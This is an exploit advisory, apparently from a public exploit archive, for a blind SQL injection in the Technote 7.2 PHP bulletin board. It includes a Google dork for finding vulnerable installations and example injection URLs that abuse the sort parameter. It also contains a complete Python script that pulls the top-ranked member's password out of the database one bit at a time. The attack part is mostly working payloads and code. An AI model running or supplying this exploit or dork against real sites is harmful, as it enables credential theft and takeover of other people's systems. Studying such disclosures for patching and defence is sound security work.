Technote 7.2 Blind SQL Injection

`# Exploit Title: technote blind sql injection  
# Google Dork: inurl:/technote7/board.php?board=  
# Date: 2011.06.11  
# Author: BlueH4G (http://blueh4g.org)  
# Software Link:  
http://www.technote.co.kr/php/technote1/board.php?board=consult&command=skin_insert&exe=insert_down_shop  
# Version: technote7.2 > * && Mysql 3.x < *  
# Tested on: Windows & Linux everything  
  
============================================================================================================  
  
vulnerability :  
  
blind sql injection with order by option.  
  
i could control align data with sort variable with `case`.  
  
  
blueh4g.org/technote7/board.php?board=freeboard&sort=(case(select 1=1) when  
true then no else uid end) asc#  
  
-> sort by `no` column.  
  
  
blueh4g.org/technote7/board.php?board=freeboard&sort=(case(select 1=2) when  
true then no else uid end) asc#  
  
-> sort by `uid` column.  
  
  
============================================================================================================  
  
exploit :  
  
#!/usr/bin/python  
#-*- coding: utf-8 -*-  
# coded by BlueH4G _http://blueh4g.org_  
import urllib,re  
from time import sleep  
  
def main() :  
chk = re.compile("true_title")  
url_begin="  
http://t.blueh4g.org/technote7/board.php?board=freeboard&sort=(case%20("  
url_end=")%20when%20true%20then%20no%20else%20uid%20end)%20asc%20limit%200,1%23"  
result="result : "  
for spos in range(1,14):  
ch=0  
for i in range(1,8) :  
sleep(0.05)  
  
query="select%20substr((select%20lpad(bin(ascii(substr(m_pass,"+str(spos)+",1))),7,0)%20from%20a_tn3_memberboard_list%20order%20by%20m_level%20desc%20limit%200,1),"+str(i)+",1)=1  
data=urllib.urlopen(url_begin + query + url_end)  
text=data.read()  
if chk.search(text) :  
ch += 2**(7-i)  
result+=chr(ch)  
print result  
main()  
  
============================================================================================================  
  
--  
## BlueH4G ##  
  
`